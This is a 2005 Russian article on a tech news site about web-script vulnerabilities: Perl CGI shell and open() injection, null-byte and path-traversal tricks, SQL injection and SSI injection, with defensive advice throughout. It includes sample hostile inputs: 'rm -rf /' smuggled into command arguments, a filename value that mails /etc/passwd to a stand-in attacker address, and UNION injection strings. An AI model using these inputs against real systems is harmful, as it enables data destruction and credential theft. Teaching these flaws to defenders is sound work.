Интернет Пресс - программы для Windows и Linux, статьи и материалы о компьютерах, бизнес-предложения.
Главная | Новости | Статьи | Веб-мастеру | Призы и подарки | Архив | RSS-канал | Карта сайта
Написать письмо автору сайта
Поиск
 

Статьи
Интернет
Software
Hardware
Операционные системы
Безопасность
Электронная коммерция
Пресс-релизы
Народные советы, медицина
SEO-поисковое продвижение сайтов
Автомобили
Строительство и недвижимость
Образование, спорт, отдых и туризм
Авторам
Добавить статью

Реклама

    • http://www.spb-motor.ru
    • Ремонт двигателей. Описание технологии восстановленя головки блока цилиндра
    • spb-motor.ru

 

Безопасность

Уязвимость Web-скриптов
 | 14:47:00 , 26 Января 2005

Вступление
Интернет пришел в Россию. Это неоспоримый факт. Еще год - полтора назад на редком рекламном щите можно было заметить адрес электронной почты, не то что web страницы, а сейчас все объявления пестрят ими. Вместе с ним пришел спрос на веб-мастеров, веб-программистов. Десятки, сотни людей работают сейчас на этом поприще в Москве. Некоторые из них получили специальное образование, остальные изучали необходимые материалы самостоятельно. Так или иначе, многие из них, к сожалению, просто не задумываются о проблемах безопасности. Эта статья - попытка осветить наиболее частые из них.

Perl
Пару лет назад этот язык был самым популярным средством для написания cgi-скриптов. Сейчас ему на смену пришли asp, php, jsp, но он еще не утратил всей своей былой популярности. Главным доводом в пользу перехода с perl-а на эти новые технологии была недостаточная скорость обработки cgi запросов (так называемая проблема "бутылочного горлышка"). Поэтому, сейчас perl-скрипты применяются в основном на небольших сайтах, и, как следствие, пишутся для единичного использования, что отнюдь не повышает их безопасности. Следует отметить, справедливости ради, что и во многих популярных (как свободно распространяемых, так и входящих в состав коммерческих продуктов) скриптах находят все новые и новые ошибки и уязвимости.
Основной и наиболее частой уязвимостью cgi-скриптов является недостаточная проверка входных данных. Рассмотрим простейший пример:

<...skip...>
open(MAIL,"|sendmail webmaster@some.address.ru -s $subject")
<...skip...>

Предположим, что переменная $subject была получена из cgi-запроса пользователя и не прошла должной проверки. Тогда, если ее значение было, скажем "test;rm -rf /", perl-интерпретатор вызовет shell и передаст ему на выполнение следующую строку:

sendmail webmaster@some.address.ru -s test;rm -rf /

В первую очередь при написании cgi-скрипта на perl следует понимать, в каком случае perl-интерпретатор осуществляет вызовы shell или системных функций:

  • функции exec() и system().
    Их различие состоит в том, что после вызова exec() выполнение скрипта останавливается, тогда как вызов system() возвращает после своего выполнения управление вызвавшему скрипту. Параметрами обоих функций является список. Первый элемент этого списка - программа, которую следует выполнить, а все последующие - ее параметры вызова. При этом, согласно документации на интерпретатор perl, в случае вызова с единственным параметром perl проверяет наличие в этом параметре метасимволов shell-интерпретатора, и в случае их наличия вызывает этот самый интерпретатор. В противном случае, а также в случае, когда в списке находятся несколько элементов, perl использует системный вызов execvp(), так как он работает быстрее чем shell. Считается, что в этом случае можно не проверять передаваемые параметры на наличие метасимволов, так как этот вызов не умеет их обрабатывать. Рассмотрим несколько примеров:

    system("ls -l /usr/home"); # Вызов execvp()
    system("ls -l /usr/home/*"); # Вызов shell
    system("ls -l", "/usr/home"); # Вызов execvp()
    system("ls -l", "/usr/home/*"); # Вызов execvp(),сработает
    # некорректно, так как не
    # будет обработан
    # символ '*'.
    Считается, что вызов
    system("ls","$file "); # Вызов execvp() безопаснее, чем вызов
    system("ls $file"); # Вызов execvp()
    так как при подаче аргумента $file, равного, скажем, "aaa;rm -rf /", второй выполнит команду "rm -rf /", а первый - - нет. Однако следует помнить, что, скажем интерпретатор ActivePerl под Windows всегда выполняет вызов shell, поэтому лучше все таки проверять все входные параметры.
     

  • функция open().
    Предназначеная вообще-то для открывания файлов, она может также быть использована для запуска программ. Так, вызов
    open(FILEHANDLE "|telnet");
    запустит программу telnet и создаст handle FILEHANDLE, соответствующий ее стандартному вводу. Аналогично,
    open(FILEHANDLE "telnet|");
    запустит программу telnet и создаст handle FILEHANDLE, соответствующий ее стандартному выводу. Таким образом, возникает возможность того, что присутствующий в скрипте вызов функции open() будет использован не по назначению. Например, скрипт

    <...skip...>
    open(TEMPFILE,"/tmp/$username")
    <...skip...>

    получивший от пользователя параметр $username, равный "mail evilhacker@some.com < /etc/passwd|", отошлет в результате файл с паролями по электронной почте. Поэтому следует всюду, где это только возможно, явным образом специфицировать способ открытия файла:

    open(FILEHANDLE ">filename"); # на запись
    open(FILEHANDLE ">>filename"); # на дозапись
    open(FILEHANDLE "
     
  • обратные кавычки ``.
    Строка, заключенная между ними, передается в shell без какой бы то ни было предварительной обработки. Понятно, что если в этой строке присутствует недостаточно проверенная информация, полученная от пользователя, то существует возможность выполнения любого кода.
     
  • функция eval().
    Исполняет полученную на вход строку как perl- скрипт. Также может представлять серьезную опасность, если использует недостаточно проверенные данные.
    Рассмотрим тепреь, какого рода входной информации следует опасаться. Помимо всевозможных метасимволов shell-а, которые, кстати, могут быть весьма различными для разных интерпретаторов, не следует забывать:
     
  • - символ '/'.
    Предположим, скрипт обрабатывает входные данные и перед всеми подозрительными ему символами ставит символ '\', чтобы они не обрабатывались как метасимволы shell: s/([\&;\`'\"|*?~<>^\[\]\(\)\{\}\$\n\r])/\\$1/g;
    В этом случае, получив на вход что-нибудь вроде
    some_data 'rm -rf /'
    мы после обработки имеем
    some_data \'rm -rf /\'
    и можем спокойно использовать эту строку в shell вызовах. Однако, получив
    some_data \'rm -rf /\'
    мы после обработки имеем
    some_data \\'rm -rf /\\'
    что уже совсем не так приятно.
     
  • символ с кодом 0.
    Интерпретатор perl хранит для каждой строки ее длину и не использует в отличие от большинства системных вызовов нулевой байт как маркер конца строки. Все бы ничего, но когда строка содержащая такой байт передается в системный вызов в качестве параметра, вся часть после нулевого байта отбрасывается. Так например, подав скрипту вроде

    <...skip...>
    open(TEXT2ECHO,"<$any_txt_file".".txt")
    # откываем текст для дальнейшего вывода пользователем
    <...skip...>

    значение параметра $any_txt_file, равное "/etc/passwd\0" мы заставим систем вызов fopen отбросить расширение .txt и отрыть нужный нам файл.
    Другой частой ошибкой является отсутсвие проверки на наличие последовательности символов "../" в параметрах, используемых в качестве имен открываемых файлов.
    Кроме того, следует помнить и учитывать все символы, являющиеся служебными для вызываемых скриптом программ, так как многие программы имеют, например, функцию вызова shell.

    SQL
    На сегодняшний день наиболее распространными базами данных, используемыми в web-программировании, можно назвать MySQL, PostgreSQL и MS-SQL. Проблемы, связаные с их безопасным использованием одинаковы для perl, php или, скажем, asp. Основная причина уязвимостей та же - - недостаточная проверка входных данных. Если скрипт выполняет, скажем, такой запрос к БД

    SELECT * FROM UserTB WHERE User=$user

    то, подставив $user, равный "some UNION SELECT * FROM UserTB", получим

    SELECT * FROM UserTB WHERE User=some UNION SELECT * FROM UserTB

    (конечно MySQL не поддерживает запроса UNION, но это - только пример). Некоторые борятся с этим расстановкой скобок или кавычек:

    SELECT * FROM UserTB WHERE (User=$user)
    или
    SELECT * FROM UserTB WHERE User="$user"

    однако это само по себе слабо спасает положение:

    $user='some) UNION SELECT * FROM UserTB WHERE (USER<>some"
    или
    $user='some" UNION SELECT * FROM UserTB'

    Приемлемым решением в этом случае является расстановка кавычек и проверка входных данных на их отсутсвие. Другая обязательная превентивная мера - использование специального пользователя с ограниченными правами для работы с базой данных (и ни в кое случае не следует использовать пользователя sa).
    Вообще такого рода уязвимости грозят не только разглашением или изменением содержимого базы данных. В PostgreSQL и MS-SQL есть понятие хранимых процедур и триггеров, их вызывающих. Например, среди встроенных хранимых процедур в MS-SQL, есть такие, которые позволяют принимать и получать электронную почту, выполнять команды операционной системы.
    Кроме того, по возможности не следует хранить в тексте скриптов какую-либо важную информацию, так как многие недостаточно хорошо написанные или сконфигурированные web-сервера позволяют злоумышленнику получить код скрипта. Так, например, в случае asp стоит помещать код, выполняющий подсоединение к базе данных, в специальный файл global.asa.
     
  • SSI
    Server Side Includes сами по себе никакой опасности не представляют ввиду своей крайней простоты. Тем не менее, существуют случаи, когда с их использованием злоумышленник может получить несанкционированый доступ к информации, хранимой на сервере. Все скрипты, осуществляющие занесение данных в chat-ы, конференции и всякие guestbook-и, должны проверять заносимую информацию на предмет наличия в ней SSI-инструкций. Ситуация отягощается тем, что некоторые web-серверы не совсем следуют спецификации и могут исполнять SSI-инструкции, которые по спецификации таковыми не являются.
     
  • Заключение
    В общем и целом, никогда и ни в коем случае нельзя доверять информации, полученной от пользователя. Это относится и к информации, хранимой в hidden полях форм, отсылаемых любыми методами и с любыми проверками HTTP-Referer, и к любым данным прошедшим любые проверки на стороне клиента с помощью, скажем, JavaScript. Вся эта информация может быть подменена злоумышленником с целью получения несанкционированного доступа к информации на сервере, или с целью нарушения нормального функционирования сервера.
     
  •   Источники
    [p.h.m] Jordan Dimov "Security Issues in Perl Scripts", P.H.M., Issue 23, Article 02.
    [r.f.p] Rain Forest Puppy, "Perl CGI problems", Phrack Magazine, Vol. 9, Issue 55, File 07.
    [wwwsec] "The World Wide Web Security FAQ". Chapter 7 - Safe Scripting in Perl http://www.w3c.org/Security/Faq/wwwsf5.html
    [perlsec] The Perl Security man page.
    [cgiperl2] Scott Guelich,et al."CGI Programming with Perl, 2nd Edition" O'Reilly. July 2000.

    Источник: http://www.izcity.com



    Версия для печати Версия для печати

    Оценок этой статье - 3. Средний балл - 3.67 Просмотров - 25062

    Выставить оценку статье:


    Читайте также:

  • Re: 2005 Software Report. Топ-рейтинг - лучших антивирусов
  • Как бороться со спамерами?
  • Список стандартных паролей для доступа к Setup BIOS
  • Места для автозагрузки трояна
  • Защита сервера DNS
  • Защита адресов e-mail на Web-страницах от спам-роботов
  • Убийство спама в The Bat!
  • Защита от троянов
  • 2005 Software Report. Топ-рейтинг- лучших антивирусов, файерволов, антитроянов
  • Разбор полетов: Файерволл против трояна
  • Так ли трудно украсть данные с компьютера?
  • Тестируем файервол Outpost Firewall Pro ver. 2.5.370.4626 на пробиваемость изнутри... или Нортон?
  • Какой антивирус лучше? Касперский, Доктор Вэб или Нортон?

    Все статьи рубрики Безопасность


  •  

    Реклама


    . Ежедневный обзор Новостей интернет на WebTag.ru.

    Поиск
     

    Размещение рекламы | Контакты

    Главная | Новости | Статьи | Веб-мастеру | Призы и подарки | Архив | RSS-канал | Карта сайта

    Вверх
    Copyright © 2004 - 2018 г. При перепечатке гиперссылка на «Интернет Пресс» обязательна.

     

    Rambler's Top100